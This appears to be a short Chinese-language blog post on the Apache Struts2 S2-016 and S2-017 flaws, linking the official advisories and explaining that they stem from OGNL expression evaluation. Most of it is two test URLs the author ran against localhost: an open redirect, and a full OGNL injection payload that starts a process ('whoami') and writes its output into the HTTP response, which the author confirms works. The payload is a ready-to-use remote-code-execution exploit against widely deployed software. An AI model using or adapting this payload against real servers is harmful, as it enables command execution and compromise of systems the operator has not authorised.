http://struts.apache.org/release/2.3.x/docs/s2-016.html
http://struts.apache.org/release/2.3.x/docs/s2-017.html
測試了一下
test1 :
http://127.0.0.1/test.action?redirect:http://www.google.com/test2 :
http://127.0.0.1/test.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'whoami'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}結果都可正確執行並回傳,這漏洞造成的影響相當大,可以利用此漏洞執行伺服器端的指令,
主要的漏洞是源自於 OGNL(Object-Graph Navigation Language), 是內建於 Struts2 中的 EL(Expression Language)
詳細可參考 : http://www.inbreak.net/archives/507
0 comments:
Post a Comment